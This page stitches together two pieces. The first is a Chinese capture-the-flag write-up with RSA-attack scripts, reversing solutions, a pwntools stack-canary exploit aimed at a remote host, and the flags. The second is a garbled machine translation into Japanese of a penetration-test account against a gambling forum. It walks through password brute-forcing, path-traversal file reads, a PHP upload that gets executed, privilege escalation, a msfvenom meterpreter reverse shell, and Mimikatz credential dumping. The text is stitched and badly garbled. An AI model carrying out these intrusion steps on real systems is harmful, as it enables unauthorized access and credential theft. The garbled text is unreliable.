n = 53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651

F.<x> = PolynomialRing(Zmod(n))
d = inverse_mod(e, n)
forkintrange(1, e):
   
f = (2^350*x+secret ) + (k-1) *d
   
f=f.monic()
   
x0 = f.small_roots(X=2** (160+1), beta=0.44, epsilon=1/32)
   
iflen(x0) != 0:
       
dp = x0[0]*2^350+secret
       
foriinrange(2, e):
           
p = (e*Integer(dp) -1+i) //i
           
ifn%p == 0:
               
break
       
ifp<0:
           
continue
       
else:
           
print('p =',p)
           
print('dp =',dp)
           
break
 
 
charon@root:~/Desktop$sage3.sage
 
3%|                                  |2131/65536 [04:20<2:15:43,  7.79it/s]('p =', 7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429)
(
'dp =', 236998137622790233327677438136615897248743961007000625548260712756987527361785137753678241058692497066300617725336085425448365495410315866728234083256081)
 
3%|                                  |2131/65536 [04:20<2:09:08,  8.18it/s]
 
 
fromCrypto.Util.numberimport*
fromgmpy2import*

p=7285247160124204278422137084033487832078298767596529079060207472774245581946206647731149570480079821873425695996881346401317790559430521087133338233749429
n=53290208062987048378703574235428685467319210471478014757229530639473548433668122104609082311237893278140109351209752453324855439700478949142631006593125874482133364050198292529339327668306943207846561273907830779959709641714284066463679953568692820076085446240980505949826504849495848235048490118010959579651
c=12164583901228226723569831803555747425419794714331207509347997795520206866173813478558747259319024376651968008838562856265966903471803669392265118265704723742518812401306445616633449971845569756343283456918105040589961351125414282181230864299705837250020888494290318050869813023592249838047791552928679622761
print(is_prime(p))
print(gcd(n,p))
q=n//p
e = 0x10001
d=invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

svluopxlyqf15555.jpg

DASCTF{6f05154b11bdf950cd2444176618139a}

 

3-3 题目名称:middlersa3

白给,直接源码中给了flag

fromCrypto.Util.numberimport*

FLAG = b'DASCTF{ed3256281d277e12d926b0e8b49f6d78}'

p = getPrime(512)
q = getPrime(512)
e = 0x10001
d = inverse(e, (p-1)*(q-1))
dp = d% (p-1)

print('dp:', (dp&(2**(512-50)-1))>>50)
print('N:', p*q)
print('c:', pow(bytes_to_long(FLAG), e, p*q))

'''
dp: 2128058695275696512876004752540135766587344290422001997701794179770820634047195468195463118189149674857434252592319139131895
N: 62750404132378782351782654563543747630197449894041776451397790050374158627602509619666444474672286035538086447514257150773929857058930455173191928959453666895924318267595065857666587937426343157432947610821599765514871454429345275531144349280502167596016574278216643741963132363234498658461551550399794413383
c: 55337446119274361069965649785140747071935055092480249085789478526259932536136231609682528797724708750732847686561672780887952659134484499521434824018747099238582445758002389884725560169750050917959735297922450030075064765749276015138482194721673506034988635977907296576683118011031333035476989567847885710256
'''
 

DASCTF{ed3256281d277e12d926b0e8b49f6d78}

 

4.RE

4-1题目名称:simpleDispy

 

pydis阅读题, 手动还原pydis验证算法.
arr = [47378,
      29475,
      46200,
      39869,
      67243,
      68695,
      73129,
      27171,
      53832,
      30653,
      60541,
      67276,
      58816,
      63571,
      50131,
      34471,
      67922,
      82293,
      33259,
      67538,
      57810,
      50339,
      34632,
      68754,
      83192,
      36077,
      60424,
      54547,
      56308,
      33565,
      69425,
      84024]

# 验证
k = 22643
flag = 't'*32
for i in range(32):
   num = (ord(flag[i])*255)+k
   if arr[i] != num:
       print('Error')
       break
   k = (k+num)&0xFFFF

# 还原flag
k = 22643
flag = ''
for i in range(32):
   flag += chr(((arr[i] - k)//255))
   k = (k+arr[i])&0xFFFF
print(flag)

sx21rpuffxj15571.jpg

flag: ab0c216ec63a9f984cbf8975ad63e09c

 

4-2题目名称:stripgo

v1=encoding_base64_NewEncoding((__int64)"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890", 64LL);
if ( v4==32&&runtime_memequal(v3, (__int64)"K/WyqBFyrUisB1Pse2KyDVYxM2CfMJ==", 32LL) )

变表base64

https://gchq.github.io/CyberChef/#recipe=From_Base64('QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/%2Bm1234567890',true,false)&input=Sy9XeXFCRnlyVWlzQjFQc2UyS3lEVll4TTJDZk1KPT0

G0_is_the_best_1anguge,

l4hyrzryyj015576.jpg

然后再进行md5加密

Flag: 3ffecbd5aa525bfdbfae5987e8f961f9

 

 

 

wtod00qyjmi15589.jpg

DASCTF{4c73ad66ef2a06aaa704e696f2dd1034}

5.PWN

5-1 题目名称:ez_canary

b05kvudhfpf15591.jpg

#!/usr/bin/env python3

#!coding: utf-8

 

from pwn import *

context.log_level = "debug"

 

magic = 0x000000000040121E

 

r = remote("43.143.139.234", 50905)

 

payload = b"k"*(0xa+1)

r.sendafter(b"Username:", payload)

 

canary = u64(b"\x00"+r.recv()[6+0xa+1:6+0xa+1+7])

payload2 = b"k"*(0x1c-8) + p64(canary) + b"k"*8 + p64(magic)

r.send(payload2)

r.interactive()

 

DASCTF{c0dfc9d2ed0169818388a379e6fca2e0}

anjmmvrs1zr15595.jpg

 

题目附件:

链接:https://pan.baidu.com/s/1KjEFjody2k_0hcjuK0nSag   提取码:55tt 

 

情報収集は仕事を始めようとしています。誰かが個人的にチャットし、彼とたくさんのお金を稼ぐように頼みました。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历グループメッセージを送信しても大丈夫ですが、誰もが個人的にチャットを始めました。今、犯罪者は非常にramp延しているので、彼らは甘やかされることができます。 JDカードを最初に置き、フロントデスクをギャンブルフォーラムにしましょう。

记一次菠菜论坛的渗透测试经历ランダムログイン、背景が発表され、WebサイトはPHPからのもので、共通のパスワードを数回試しました。管理者が存在し、パスワードが間違っています。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 Yunxiに置いて見てみましょう。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历ドメイン名にアクセスするのは非常に硬いです。

记一次菠菜论坛的渗透测试经历もう一度ポートを見てみましょう。 3306が開いており、ホストはWindowsからのものです。

记一次菠菜论坛的渗透测试经历コレクションが完了した後、フレームワークはスキャンされず、ほとんど進歩はありませんでした。唯一のブレークスルーポイントは、背景とポートでした。

记一次菠菜论坛的渗透测试经历バックグラウンドにログインする3306メンタリティで試してみてください。予想外のことは何も起こりません。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 Top100バックエンドブラストは、出てきたが失敗しました。あまり希望がありません。 JSを探していると、パスワード、敏感なパス、特別なインターフェイスなどがあるかもしれませんが、それは本当にきれいです、多分私はそれを注意深く見ないでしょう。

他のブレークスルーポイントはなかったので、舞台裏でしか試していませんでした。私は大きな辞書を取り、長い間走りました。最後に、私はついに鉄の頭の赤ちゃんが生きていることを理解しました。使用される辞書は、略語、年、特殊文字です。

记一次菠菜论坛的渗透测试经历バックエンドフォーラムの記事管理事務所をアップロードして、編集者と彼の目がすぐに照らされました。

记一次菠菜论坛的渗透测试经历単一および複数の写真をアップロードしてみることができます。

记一次菠菜论坛的渗透测试经历ひび割れ、ホワイトリストの制限。

记一次菠菜论坛的渗透测试经历さまざまな切り捨てとバイパスが失敗しました。

记一次菠菜论坛的渗透测试经历エディターを確認し、JSファイルを検索し、Wangeditorエディターであることを確認してください。

记一次菠菜论坛的渗透测试经历オンラインで検索したところ、この編集者には抜け穴がないように思われ、私のアイデアが行われていることがわかりました〜

记一次菠菜论坛的渗透测试经历ターニングポイントが表示され、検索を続けます。注文の詳細が見つかった場合は、注文画像をダウンロードすることもできます。

ダウンロードリンク:

http://www.xxx.com/download.php?filepath=././/wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历ダウンロードリンクからWebサイトは取得されます。 wwwrootはWebサイトのルートディレクトリであると推測されます。ファイルのダウンロードはありますか?

リンクを作成してみてください:

http://www.xxx.com/download.php?filepath=.//././wwwroot/news.php

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历Nice、Hu Hansanがついに引き渡そうとしています。

记一次菠菜论坛的渗透测试经历コンフィギュレーションファイルを引き続き探し続けます。通常、index.phpはデータベース構成ファイルを導入します。

http://www.xxx.com/download.php?filepath=./././wwwroot/index.php

记一次菠菜论坛的渗透测试经历 config.phpを構築および表示するために。

http://www.xxx.com/download.php?filepath=././wwwroot/config.php

记一次菠菜论坛的渗透测试经历アカウントを取得して接続しようとします。許可がないか、失敗に終わることを促します。ファイアウォールがあるか、データベースのホスト値がローカルでのみアクセスするように設定されていると推測されます。

方法はありません。ひっくり返し続けて、Apache構成ファイルを読み取ろうとします。

http://www.xxx.com/download.php?filepath=././././apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历 Wang Tefa! HTMLファイルはPHPファイルとして実行できます。戻ってファイルをアップロードして、接尾辞を変更してアップロードします。両方のアップロードポイントは〜のアップロードに失敗しました

メンバー管理にアバターをアップロードする場所を検索し続け、見つけます。

记一次菠菜论坛的渗透测试经历ファイル名のアップロード、応答、アップロードパスへの返却を変更します。

记一次菠菜论坛的渗透测试经历リンクのダウンロードを作成し、ファイルのダウンロードが成功し、存在することが証明されています。

http://www.xxx.com/download.php?filepath=././/wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历スプライシングアクセス、正常に解析されます。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历興奮し、震えている手、成功。

记一次菠菜论坛的渗透测试经历SUHAは、権利の引き上げを試み、パッチのステータスを確認しました。多くのアップデートがありましたが、ネットを逃した魚が常にいました。

记一次菠菜论坛的渗透测试经历ツールを使用し、パッチなしで直接検索、Exp攻撃、電源が正常にアップグレードされ、管理者の許可が得られます。

记一次菠菜论坛的渗透测试经历は、シェルをリバウンドし続けています。結局のところ、端子を使用するのは不快なので、MSFを使用してここでシェルをリバウンドします。

1.最初に、MSFを使用してTrojanファイルをローカルに生成し、ペイロードを指定します。

msfvenom -p Windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。2。ポート8000でPythonサーバーをローカルに開きます。

python -m http.server 8000

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。

记一次菠菜论坛的渗透测试经历端子ターゲットマシンのexeファイルをダウンロードします。

ECHO OPEN SERVER IP:8000EXEファイル。

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。

Handler -P Windows/MeterPreter_Reverse_TCP -H IP -P 4444

记一次菠菜论坛的渗透测试经历5。 exeファイルを実行し、シェルを正常に受信します。

记一次菠菜论坛的渗透测试经历セッションを取得したときに軽視しないでください。 MSFにはMimikatzモジュールが付属しています。 MSFのMimikatzモジュールは、32ビットシステムと64ビットシステムの両方をサポートしていますが、このモジュールはデフォルトで32ビットシステムをロードします。したがって、ターゲットホストが64ビットシステムである場合、モジュールを直接ロードすると、多くの機能が使用できなくなります。したがって、64ビットシステムでは、まずシステムプロセスリストを表示し、次にMeterPreterプロセスを64ビットプログラムプロセスに移行してMimikatzをロードし、システムのプレーンテキストを表示する必要があります。これにより、セッションが中断されないようになります。

PSプロセスを確認し、移行の安定したプロセスを見つけます。

PID数を移行します

记一次菠菜论坛的渗透测试经历 MeterPreterプロセスを408プロセスに移行します:移行408

记一次菠菜论坛的渗透测试经历が正常に移行され、すべてがそこにありましたが、パスワードはありませんでした。また、MSFのMimikatzモジュールを使用して、パスワードを取得します。

最初にMimikatzモジュールをロードします。

记一次菠菜论坛的渗透测试经历 Mimikatz_Commandモジュールの使用は、ここにリストされています:

meterpreter mimikatz_command -f a:誤ったモジュールを入力して、すべてのモジュールをリストする

MeterPreter mimikatz_command -f samdump:は、samdumpサブコマンドをリストできます

meterpreter mimikatz_command -f samdump:hases

MeterPreter mimikatz_command -f handle:Listリストアプリケーションプロセス

MeterPreter mimikatz_command -f service:Listリストサービス

MeterPreter mimikatz_command -f sekurlsa:searchpasswords

MeterPreter Run Run Post/Windows/Gracking/Smart_Hashdumpハッシュを取得します

2つの関数:があるSamdumpモジュールを選択します

? mimikatz_command -f samdump:3360hases

? mimikatz_command -f samdump:3360bootkey

记一次菠菜论坛的渗透测试经历しかし、これにより、パスワードのハッシュ値がキャッチされます。 Plantextパスワードを直接表示し、Sekurlsaモジュールの下のSearchPassWords関数を使用し、次のコマンドを実行し、パスワードを正常にクロールします。

mimikatz_command -f sekurlsa:searchpasswords

记一次菠菜论坛的渗透测试经历最後の3389接続が成功し、作業が完了しました。

记一次菠菜论坛的渗透测试经历は、鉄の頭の子供であることが良いことを証明してください。

要約します

Yunxi、FOFA、さまざまなプラグイン、サブドメイン名、ポート情報収集、このサイトに入るための背景を爆破する(良い辞書を持つことは非常に重要です)、エディターのアップロードファイルが失敗したことを見つけることが非常に重要です)、ホワイトリストの制限、エディター名を見つける、編集者の脆弱性を照会することは、ファイルのダウンロードを見つけることができます。許可、Apache構成ファイルの検索、ファイルの接尾辞を見つけることができ、他のアップロードポイントを見つけることができ、許可を得た後、MSFのMimikatzモジュールを使用してログインパスワードを取得し、リモートデスクトップ接続が成功し、侵入が終了します。

元のリンクから転載:https://cloud.tencent.com/developer/article/1790943